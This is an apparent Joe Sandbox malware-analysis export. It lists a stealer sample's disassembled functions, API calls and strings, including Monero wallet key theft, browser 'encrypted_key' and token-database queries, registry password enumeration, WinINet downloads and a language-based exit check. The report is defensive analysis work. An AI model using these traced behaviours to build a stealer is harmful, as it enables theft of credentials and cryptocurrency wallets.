Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 1faad96b10de5add7fbfc2b4690a9ee67bc0de9c00b0e76e76f91e2e8ae52417
Instruction ID: 4f4c219b3c9e9bcf693b31064c0578ac200cc1d6c6301e941a47ff6f27f88431
Opcode Fuzzy Hash: 1faad96b10de5add7fbfc2b4690a9ee67bc0de9c00b0e76e76f91e2e8ae52417
Instruction Fuzzy Hash: B6C1A9B59002199BCB24EF64DC8DFEA7B79BB94304F00459BF50A67341EB70AA85CF91

Function 005D4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005D8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005D8E0B

lstrcat.KERNEL32(?,00000000), ref: 005D42EC
lstrcat.KERNEL32(?,014B0468), ref: 005D430B
lstrcat.KERNEL32(?,?), ref: 005D431F
lstrcat.KERNEL32(?,014AEE60), ref: 005D4333

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005D8D90: GetFileAttributesA.KERNEL32(00000000,?,005C1B54,?,?,005E564C,?,?,005E0E1F), ref: 005D8D9F

Part of subcall function 005C9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 005C9D39

Part of subcall function 005C99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005C99EC
Part of subcall function 005C99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005C9A11
Part of subcall function 005C99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005C9A31
Part of subcall function 005C99C0: ReadFile.KERNEL32(000000FF,?,00000000,005C148F,00000000), ref: 005C9A5A
Part of subcall function 005C99C0: LocalFree.KERNEL32(005C148F), ref: 005C9A90
Part of subcall function 005C99C0: CloseHandle.KERNEL32(000000FF), ref: 005C9A9A

Part of subcall function 005D93C0: GlobalAlloc.KERNEL32(00000000,005D43DD,005D43DD), ref: 005D93D3

StrStrA.SHLWAPI(?,014B05E8), ref: 005D43F3
GlobalFree.KERNEL32(?), ref: 005D4512

Part of subcall function 005C9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N\,00000000,00000000), ref: 005C9AEF
Part of subcall function 005C9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,005C4EEE,00000000,?), ref: 005C9B01
Part of subcall function 005C9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N\,00000000,00000000), ref: 005C9B2A
Part of subcall function 005C9AC0: LocalFree.KERNEL32(?,?,?,?,005C4EEE,00000000,?), ref: 005C9B3F

lstrcat.KERNEL32(?,00000000), ref: 005D44A3
StrCmpCA.SHLWAPI(?,005E08D1), ref: 005D44C0
lstrcat.KERNEL32(00000000,00000000), ref: 005D44D2
lstrcat.KERNEL32(00000000,?), ref: 005D44E5
lstrcat.KERNEL32(00000000,005E0FB8), ref: 005D44F4

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: f2be9bef41cfbab8dfb2b174410d218deb0a6f3545ff69279de70756d0a05bdb
Instruction ID: 398ca6b4a2da3ab121a538974ef873aa6d984f11ac97f15d825d73eef41bd380
Opcode Fuzzy Hash: f2be9bef41cfbab8dfb2b174410d218deb0a6f3545ff69279de70756d0a05bdb
Instruction Fuzzy Hash: 73715976900209ABCB24FBE4DC99FEE7779BB88300F048599F50597181EA74DB45CF91

Function 005C1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005C12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005C12B4
Part of subcall function 005C12A0: RtlAllocateHeap.NTDLL(00000000), ref: 005C12BB
Part of subcall function 005C12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 005C12D7
Part of subcall function 005C12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005C12F5
Part of subcall function 005C12A0: RegCloseKey.ADVAPI32(?), ref: 005C12FF

lstrcat.KERNEL32(?,00000000), ref: 005C134F
lstrlen.KERNEL32(?), ref: 005C135C
lstrcat.KERNEL32(?,.keys), ref: 005C1377

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

Part of subcall function 005D8B60: GetSystemTime.KERNEL32(005E0E1A,014AFBA0,005E05AE,?,?,005C13F9,?,0000001A,005E0E1A,00000000,?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005D8B86

Part of subcall function 005DA920: lstrcpy.KERNEL32(00000000,?), ref: 005DA972
Part of subcall function 005DA920: lstrcat.KERNEL32(00000000), ref: 005DA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 005C1465

Part of subcall function 005DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005DA7E6

Part of subcall function 005C99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005C99EC
Part of subcall function 005C99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005C9A11
Part of subcall function 005C99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005C9A31
Part of subcall function 005C99C0: ReadFile.KERNEL32(000000FF,?,00000000,005C148F,00000000), ref: 005C9A5A
Part of subcall function 005C99C0: LocalFree.KERNEL32(005C148F), ref: 005C9A90
Part of subcall function 005C99C0: CloseHandle.KERNEL32(000000FF), ref: 005C9A9A

DeleteFileA.KERNEL32(00000000), ref: 005C14EF

Strings

\Monero\wallet.keys, xrefs: 005C138D
wallet_path, xrefs: 005C1330
SOFTWARE\monero-project\monero-core, xrefs: 005C1335
.keys, xrefs: 005C136B

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 704df6cb4cc3a8e0ef77065a4289ffc57db24aa58f3fbf69a79b1f7cb1ac8002
Instruction ID: 3344e413ebfab957d9d9b610c9c4af861c3951e155cab66f3c07980a21643577
Opcode Fuzzy Hash: 704df6cb4cc3a8e0ef77065a4289ffc57db24aa58f3fbf69a79b1f7cb1ac8002
Instruction Fuzzy Hash: 245168B1D5011A5BCB29FB64DC96FEE773CBF94300F40419AB60A62182EE705B85CF96

Function 005C75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005C72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 005C733A
Part of subcall function 005C72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005C73B1
Part of subcall function 005C72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 005C740D
Part of subcall function 005C72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 005C7452
Part of subcall function 005C72D0: HeapFree.KERNEL32(00000000), ref: 005C7459

lstrcat.KERNEL32(00000000,005E17FC), ref: 005C7606
lstrcat.KERNEL32(00000000,00000000), ref: 005C7648
lstrcat.KERNEL32(00000000, : ), ref: 005C765A
lstrcat.KERNEL32(00000000,00000000), ref: 005C768F
lstrcat.KERNEL32(00000000,005E1804), ref: 005C76A0
lstrcat.KERNEL32(00000000,00000000), ref: 005C76D3
lstrcat.KERNEL32(00000000,005E1808), ref: 005C76ED
task.LIBCPMTD ref: 005C76FB

Strings

: , xrefs: 005C764E

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: fcfc04ad5af4750e72697f43cd7f90470cbd0e7ec49665670af5ba0c646f4ebf
Instruction ID: e0692ceb8baf07dc07af705098f80834455e90eb577a0491554681a672c3cb15
Opcode Fuzzy Hash: fcfc04ad5af4750e72697f43cd7f90470cbd0e7ec49665670af5ba0c646f4ebf
Instruction Fuzzy Hash: 70312D75A0020ADFCB48EBF4DC99EFE7B79FB98301B144118E112A72A0DA34E946CB51

Function 005D8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,014B0210,00000000,?,005E0E2C,00000000,?,00000000), ref: 005D8130
RtlAllocateHeap.NTDLL(00000000), ref: 005D8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 005D8158
__aulldiv.LIBCMT ref: 005D8172
__aulldiv.LIBCMT ref: 005D8180
wsprintfA.USER32 ref: 005D81AC

Strings

%d MB, xrefs: 005D81A3
@, xrefs: 005D814D

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: e44cb97c0e727e0b170e5c4439766db8a64c7d6a00ca21e7ed56060541ce86a6
Instruction ID: 94aa8f386ca70ade9d9a92458e975ffec6823c8f2565f8e8b0bf44b4f611fde5
Opcode Fuzzy Hash: e44cb97c0e727e0b170e5c4439766db8a64c7d6a00ca21e7ed56060541ce86a6
Instruction Fuzzy Hash: CA213EB1E44318ABDB14DFD8CC49FAEBB78FB44B00F10461AF615BB280C77859018BA5

Function 005C60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005DA7E6

Part of subcall function 005C47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005C4839
Part of subcall function 005C47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005C4849

InternetOpenA.WININET(005E0DF7,00000001,00000000,00000000,00000000), ref: 005C610F
StrCmpCA.SHLWAPI(?,014B0DB0), ref: 005C6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 005C618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 005C61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 005C61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 005C620A
CloseHandle.KERNEL32(?,?,00000400), ref: 005C6249
InternetCloseHandle.WININET(?), ref: 005C6253
InternetCloseHandle.WININET(00000000), ref: 005C6260

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: f20b1617da5a1a9c8335edfe46f8db9fddcc4689cbade0d0e66c7bb7b1baa46a
Instruction ID: bc8e03ce1335afe1df1dac2262ac110d5126d35a0c8cbbbd8ab4f11034f1981d
Opcode Fuzzy Hash: f20b1617da5a1a9c8335edfe46f8db9fddcc4689cbade0d0e66c7bb7b1baa46a
Instruction Fuzzy Hash: A6514EB1900218AFDB24DF90DC49FEE7BB8FB44701F108099A605A72C1DB746B85CF95

Function 005C72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 005C733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005C73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 005C740D
GetProcessHeap.KERNEL32(00000000,?), ref: 005C7452
HeapFree.KERNEL32(00000000), ref: 005C7459
task.LIBCPMTD ref: 005C7555

Strings

Password, xrefs: 005C7401

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 53a2ce71ccfe7732ec3d48c5c0eb45858abdd0ed5634dc42af7c7481850ee330
Instruction ID: 4f8034af8439c498a606e5236db01cc10ad42cc1e3bb28123f8b6bbca854008e
Opcode Fuzzy Hash: 53a2ce71ccfe7732ec3d48c5c0eb45858abdd0ed5634dc42af7c7481850ee330
Instruction Fuzzy Hash: BB61FDB590425D9FDB24DB90CC95FEABBB8BF48300F0081E9E689A6541DB705BC9CF91

Function 005CBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005DA740: lstrcpy.KERNEL32(005E0E17,00000000), ref: 005DA788

Part of subcall function 005DA9B0: lstrlen.KERNEL32(?,014A8918,?,\Monero\wallet.keys,005E0E17), ref: 005DA9C5
Part of subcall function 005DA9B0: lstrcpy.KERNEL32(00000000), ref: 005DAA04
Part of subcall function 005DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005DAA12

Part of subcall function 005DA920: lstrcpy.KERNEL32(00000000,?), ref: 005DA972
Part of subcall function 005DA920: lstrcat.KERNEL32(00000000), ref: 005DA982

Part of subcall function 005DA8A0: lstrcpy.KERNEL32(?,005E0E17), ref: 005DA905

Part of subcall function 005DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005DA7E6

lstrlen.KERNEL32(00000000), ref: 005CBC9F

Part of subcall function 005D8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005D8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 005CBCCD
lstrlen.KERNEL32(00000000), ref: 005CBDA5
lstrlen.KERNEL32(00000000), ref: 005CBDB9

Strings

AccountId, xrefs: 005CBCC4
AccountTokens, xrefs: 005CBABA
SELECT service, encrypted_token FROM token_service, xrefs: 005CBBEB
AccountTokens, xrefs: 005CBB49

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: bca8268236ed0248008b32b07abb4a902383e9857066c9564a287a75b5036f18
Instruction ID: 97fb01a4c925a80f1c32b1d25c8bfe4ca3b415cd0a76343920596a76de759c39
Opcode Fuzzy Hash: bca8268236ed0248008b32b07abb4a902383e9857066c9564a287a75b5036f18
Instruction Fuzzy Hash: 34B153719101499BDF28EBA4CC9AEEF7B3CBF94300F40455BF50662291EF346A49CB66

Function 005D6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 005D6774
ExitProcess.KERNEL32 ref: 005D67A5
ExitProcess.KERNEL32 ref: 005D67AF
ExitProcess.KERNEL32 ref: 005D67B9
ExitProcess.KERNEL32 ref: 005D67C3
ExitProcess.KERNEL32 ref: 005D67CD

Strings

*, xrefs: 005D678C

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000A87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214767681.0000000000AC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214881540.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: b4ec31eb3121d5034e46a13dbc53388275780eb3303453ee86ac80e52d02c422
Instruction ID: af776899914b3e909e1dfab3be41d38df50a1e6cdb54a872f836b4ca2709c3a8
Opcode Fuzzy Hash: b4ec31eb3121d5034e46a13dbc53388275780eb3303453ee86ac80e52d02c422
Instruction Fuzzy Hash: 53F05E3090430DEFD3A89FE0E90976C7B70FB04703F04819AE64986391D6704B429B96

Function 005C4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 005C4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 005C4FD1
InternetOpenA.WININET(005E0DDF,00000000,00000000,00000000,00000000), ref: 005C4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 005C5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 005C5041
InternetCloseHandle.WININET(?), ref: 005C50B9
InternetCloseHandle.WININET(?), ref: 005C50C6

Memory Dump Source

Source File: 00000000.00000002.2214308022.00000000005C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000000.00000002.2214276260.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.0000000000671000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000067D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.00000000006A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214308022.000000000080A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2214482881.000000000081E000.00000040.00000001.01000000.00000003.sdmpDownload File
